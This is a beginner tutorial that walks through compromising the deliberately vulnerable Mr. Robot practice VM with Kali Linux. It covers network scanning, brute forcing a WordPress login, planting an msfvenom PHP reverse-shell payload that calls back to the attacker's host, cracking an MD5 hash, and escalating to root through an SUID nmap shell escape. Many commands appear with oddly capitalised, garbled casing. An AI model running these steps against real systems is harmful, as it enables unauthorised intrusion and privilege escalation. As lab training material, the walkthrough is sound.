A Beginner’s Guide to Kali Linux: Getting Started

Welcome to the next part in what has become our epic series of articles around penetration testing and Kali Linux! If you're behind, feel free to catch up with these posts around the OSCP certification, installing Kali on anything, and some of the top Kali tools.

Today, we're going to get into the meat of it and do some actual hacking! But don't worry, this probably won't get you arrested and/or extradited. We're going to work on a target known as a boot-to-root machine. These are virtual machines that you run in your own network that are built to look like a normal production box. They can run apps like web servers, databases, FTP servers, and so on.

These machines, however, are built to be intentionally vulnerable by the author as a means for you to practice your pen test skills in a simulated setting.

It's all about getting your hands dirty, running tools against a real target, seeing what works and what fails, and getting into the pentester mindset. To help, we're going to walk through a popular boot-to-root machine known as Mr. Robot (like the TV show!). This VM is a WordPress server. We'll brute force our way into the admin console, get a reverse shell, then escalate our privileges to another Linux user before ending up as the root user, with full pwnage of the machine. Let's go!

SCARY LEGAL WARNING: As with any pen testing exercise, make sure you never run any scans or tools against systems that you do not own without explicit permission! Even while you’re just messing around for a certification or infosec training course.

Boot the Machine

The first step with any boot-to-root is to download and boot it up, so head here to download the image. You'll end up with a file in OVA format, which is a VMware machine image. The file will import easily into any VMware product or Virtual Box. If you are using Parallels or Hyper-V you'll need to follow a few extra steps to convert it. Once it's imported into your hypervisor, compare the network settings of it and your Kali box to make sure they are on the same virtual network, then boot it up.

The next step: What IP address did it get? First find Kali's by running ifconfig, the address after eth0 is what you're after:

1
2  root@kali:~# Ifconfig
3  eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
4  inet 10.0.9.6 netmask 255.255.255.0 broadcast 10.0.9.255
5

Kali's IP is 10.0.9.6. Next let's use Nmap to ping the entire subnet and find other live machines:

1   root@kali:~# Nmap -Sn 10.0.9.0/24
2   Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:25 EDT
3   Nmap Scan Report for 10.0.9.1
4   Host Is Up (0.00019s Latency).
5   MAC Address: 00:1C:42:00:00:18 (Parallels)
6   Nmap Scan Report for 10.0.9.2
7   Host Is Up (0.00014s Latency).
8   MAC Address: 00:1C:42:00:00:08 (Parallels)
9   Nmap Scan Report for 10.0.9.5
10  Host Is Up (0.00048s Latency).
11  MAC Address: 00:1C:42:70:D7:77 (Parallels)
12  Nmap Scan Report for 10.0.9.6
13  Host Is Up.
14  Nmap done: 256 IP addresses (4 hosts up) scanned in 2.03 seconds

We know that 10.0.9.1 and .2 are virtual network devices used by Parallels (our hypervisor in this case) and .6 is Kali, so .5 must be Mr. Robot!

Enumeration

The next step is to run a basic Nmap scan to find open ports:

1   root@kali:~# Nmap 10.0.9.5
2   Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-14 11:26 EDT
3   Nmap Scan Report for 10.0.9.5
4   Host Is Up (0.00046s Latency).
5   Not Shown: 997 Filtered Ports
6   PORT STATE SERVICE
7   22/Tcp Closed Ssh
8   80/Tcp Open Http
9   443/Tcp Open Https
10  MAC Address: 00:1C:42:70:D7:77 (Parallels)

Port 22 is reported as closed, that means that the TCP request to that port was explicitly answered with a "go away, no one's answering here!" instead of the lack of response that came from every other port. However, 80 and 443 are open! If you remember from your Network+ training, those ports are typically for HTTP and HTTPS. So, let's try accessing the IP with Firefox. We get an interesting response:

Definitely a web site, kinda odd, but if you've seen the Mr. Robot TV show then you should be picking up on the theme this machine was built around. Standard web enumeration procedure. Let's take a look at the source code. There's some cute ASCII art, a call to some Javascript, but not much else interesting:

Moving on to HTTPS, it's the same site, just encrypted, nothing new. The page gives us no links to follow. Is there anything else interesting about the server we could discover? Try scanning it with Nikto:

1
2  root@kali:~# Nikto -H 10.0.9.5
3  – Nikto V2.1.6
4  —————————————————————————————————————–
5  + Target IP: 10.0.9.5
6  + Target Hostname: 10.0.9.5
7  + Target Port: 80
8  + Start Time: 2019–10–14 12:02:22 (GMT–4)
9  —————————————————————————————————————–
0  + Server: Apache
1  + The X–XSS–Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
2  + /Wp–Login/: Admin Login Page/Section Found.
3  + /wordpress: A WordPress installation was found.
4  + /wp–admin/wp–login.php: WordPress Login Found
5

Two very interesting things immediately stand out: it's an Apache web server, and it's a WordPress site. Trying the login page redirects us here, which confirms it is indeed WordPress:

We could try to scan the page with WPScan to enumerate for vulnerable plug-ins, but take a step back first. One tenet of pentesting is to enumerate wide and shallow first — and then start deep diving. Understand your target more fully first, otherwise you can easily deep dive into rabbit holes and waste time. Let's try enumerating the web server further with GoBuster. GoBuster uses a given wordlist to search for directories on the server, like so:

1 root@kali:~# gobuster dir –wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –url http://10.0.9.5

This command is pointing to the location of a standard wordlist that is including with Kali, and using it against our web server to discover directories. One interesting result that comes back is the directory /robots, let's try that in the browser:

A-ha! The first of three keys! All VM exercises like this one have keys or flags that you find, proofs that you obtained a certain level of access to the machine. Generally they will have certain file permissions set; soon you'll see how we find the second key but can't yet read the file.

Breaking Into WordPress

Also on that robots page is a filename, fsociety.dic. We can download that file from 10.0.9.5/fsociety.dic, and opening it reveals an odd list of random words:

1  root@kali:~# Cat fsocity.dic
2  true
3  false
4  wikia
5  from
6  The
7  now
8  Wikia
9  extensions

Maybe a list of passwords? Not sure, let's keep it in mind and move along. So far, we have a WordPress login page and a wordlist. Let's assume the wordlist is passwords, but what's our username? One trick with WordPress is, based on how it's set up, it will clue you into whether a particular username exists or not:

See the different Kill? Long story short, the username that you are supposed to use is "elliot" (like the character from the show). How were you supposed to know this? Here's a lesson about boot-to-root machines. Sometimes they are cheap and trolly.

Normally, you could use WPScan to enumerate WordPress users, but in this case it's no help, because there are no posts on the site to pull an author name from.

Okay, we have a username and password list, let's combine them with WPScan and do some brute forcing:

1
2
3  root@kali:~# wpscan –url 10.0.9.5/wp-admin –wordlist /root/fsocity.dic –username elliot
4  [+] Starting the Password Brute Forcer
5  [+] [SUCCESS] Login : elliot Password : ER28–0652
6  Brute Forcing 'elliot' Time: 00:01:19 < > (5633 / 11452) 49.18% ETA: 00:01:22
7  +——+————+———+—————–+
8  | ID | Login | Name | Password |
9  +——+————+———+—————–+
0  | | Elliot | | ER28–0652 |
1  +——+————+———+—————–+
2  [+] Finished: Thu Oct 17 11:52:15 2019
3  [+] Elapsed Time: 00:01:35
4  [+] Requests Made: 6286
5  [+] Memory Used: 28.5 MB
6
7

After a few minutes, we have valid credentials for WordPress, elliot and ER28-0652. Logging in brings us to the WordPress dashboard, where we can check user permissions and find we are a WP admin, w00t! So the next thought of a pentester is "how can I leverage this access to get a shell?"

Spawning a Shell

Lucky for us, WordPress is very conducive to running code against the OS after gaining admin access. There are lots of ways to do this, this is but one simple example. Let's navigate to the Appearance tab, then the Editor:

There's a list of files on the right side, all a part of the applied WordPress template, Twenty Fifteen in this case:

If we click the 404 Template, we see the code that's displayed anytime a user either goes to a nonexistent page, or even just goes to 10.0.9.5/404.php. PHP, while used in this case to run server side code to generate the page on the fly, can also be bent to our wills. Let's use the msfvenom command back in Kali to generate some nefarious PHP code:

1  root@kali:~# msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.9.6 lport=9009 -f raw

This command will generate PHP code that uses the Meterpreter PHP payload to connect a shell back to our Kali host at 10.0.9.6 on port 9009. It will output the code when finished. Copy that, delete the contents of 404.php back in WordPress, paste in our new code, and save the changes.

Now, we need a listener to catch the payload when it calls back to Kali. We chose a Meterpreter payload earlier, which is a part of Metasploit, so let's crank that up:

1   root@kali:~# Msfconsole
2   …
3   msf5 > Use Exploit/Multi/Handler
4   msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
5   payload => Php/Meterpreter/Reverse_tcp
6   msf5 Exploit(multi/Handler) > Set Lhost 10.0.9.6
7   lhost => 10.0.9.6
8   msf5 Exploit(multi/Handler) > Set Lport 9009
9   lport => 9009
10  msf5 Exploit(multi/Handler) > Exploit
11  [*] Started Reverse TCP Handler on 10.0.9.6:9009

After launching Metasploit, we chose our multi-handler exploit, set the payload, listening host IP and port, then started the exploit, which is now listening on port 9009. If we go back to the browser and load 10.0.9.6/404.php we get this in Kali:

1
2
3  [*] Sending Stage (38288 Bytes) to 10.0.9.5
4  [*] Meterpreter session 1 opened (10.0.9.6:9009 -> 10.0.9.5:39203) at 2019–10–18 16:19:18 –0400
5  meterpreter > Shell
6  Process 3421 Created.
7  Channel 0 Created.
8  whoami
9  daemon
0  pwd
1  /Opt/Bitnami/Apps/WordPress/Htdocs
2  ifconfig
3  eth0 Link encap:Ethernet HWaddr 00:1c:42:70:d7:77
4  inet addr:10.0.9.5 Bcast:10.0.9.255 Mask:255.255.255.0
5
6

Congrats, you just got your first reverse shell! This is a command line for the Mr. Robot machine, connected to Kali. We can now run commands as if we are logged into Mr. Robot. You can see the "whois" command, which shows we are the user called "daemon," and the pwd shows shows we're currently in the WordPress doc directory. Ifconfig proves we're on Mr. Robot per the matching IP address.

It does look a little weird though, as there's no actual prompt, this is normal with reverse shells. One common fix is to run python -c 'import pty; pty.spawn("/bin/bash")', this loads some shell bits that give us a normal looking prompt.

Escalating Privileges

So we're in! Let's poke around a bit, starting with the home directories to see if we can find anything interesting in the user home directories:

1
2   daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home
3   daemon@linux:/Home$ Ls
4   robot
5   daemon@linux:/Home$ Cd Robot
6   daemon@linux:/Home/Robot$ Ls
7   key–2–Of–3.txt password.raw–md5
8   daemon@linux:/Home/Robot$ Cat Key–2–Of–3.txt
9   cat: Key–2–Of–3.txt: Permission Denied
10  daemon@linux:/Home/Robot$ Cat password.raw–md5
11  robot:c3fcd3d76192e4007dfb496cca67e13b
12

We found a user called robot. While we are logged in as daemon, we can still look at the contents of robot's home directory. We found key No. 2, but can't read the file. Another interesting file we can read; it looks like credentials but is a bit gibberishy. It might be a hash, but what kind?

We can use the hash-identifier tool to figure this out, but sometimes a quick Google search can tell us even more. Googling this hash shows several pages like this one that have already decrypted the hash as "abcdefghijklmnopqrstuvwxyz." Is this robot's password? One way to find out, try using su to switch users:

1  daemon@linux:/Home/Robot$ Su – Robot
2  Password: Abcdefghijklmnopqrstuvwxyz
3  $ Whoami
4  robot
5  $ Cat Key–2–Of–3.txt
6  822c73956184f694993bede3eb39f959

It worked! We are now logged in as robot and can read the second key! One more to go, there's a good chance we'll need to hit the jackpot and become root to find it.

Becoming Root

One common privilege-escalation technique to get to root is to look for SUID binaries. These are executable files that have a certain permission set that will allow us to run those files as if we are another user. Running the following command will search the machine for SUID binaries, specifically for ones with root as the user that we can execute them as:

1   $ Find / –User Root –Perm –4000 2>/Dev/Null
2   /Bin/Ping
3   /Bin/Umount
4   /Bin/Mount
5   /Bin/Ping6
6   /Bin/Su
7   /Usr/Bin/Passwd
8   /Usr/Bin/Newgrp
9   /Usr/Bin/Chsh
10  /Usr/Bin/Chfn
11  /Usr/Bin/Gpasswd
12  /Usr/Bin/Sudo
13  /Usr/Local/Bin/Nmap
14  /Usr/Lib/Openssh/Ssh–Keysign
15  /Usr/Lib/Eject/Dmcrypt–Get–Device
16  /usr/lib/vmware–tools/bin32/vmware–user–suid–wrapper
17  /usr/lib/vmware–tools/bin64/vmware–user–suid–wrapper
18  /Usr/Lib/Pt_chown

Holy moly. That's a lot of stuff, but very little of it will be helpful. Some files always have the SUID bit set as root for us to use them because of the way Linux permissions work. Passwd, for example, must run as root to edit the protected /etc/shadow file if we want to change our password, but it generally can't be exploited.

Knowing at a glance what's normal and what's out of place when looking for SUID binaries will take time and experience. A common red flag is files in odd directories. In this list, /usr/local/bin/nmap might stick out. Further research shows that Nmap can be used quite easily to get a root shell when you run it in interactive mode, a handy mode that lets you run shell commands from within Nmap:

1
2
3   $ Nmap —Interactive
4   nmap —Interactive
5   Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
6   Welcome to Interactive Mode — press h for help
7   nmap> !Bash –P
8   !bash –P
9   bash–4.3# Whoami
10  whoami
11  root
12  bash–4.3# Cd /Root
13  cd /Root
14  bash–4.3# Dir
15  dir
16  firstboot_done Key–3–Of–3.txt
17  bash–4.3# Cat Key-3-Of-3.txt
18  cat Key–3–Of–3.txt
19  04787ddef27c3dee1ee161b21670b4e4
20
21

That !bash -p command simply means "gimmie a shell" and because it's a SUID binary, that shell runs as root! This only works with older versions of Nmap, they patched it out in later ones, but in this case it led to us getting a root shell, finding the third flag, and completely pwning the machine!

Wrapping Up

Hopefully this deep dive into Mr. Robot has helped show both how to get through a typical boot-to-root or CTF-style machine and revealed some of the pentest process and mindset.

If you want more, VulnHub is a great source for downloading more boot-to-root machines, and HackTheBox is the cream of the crop for hosted hackable machines. Happy hacking!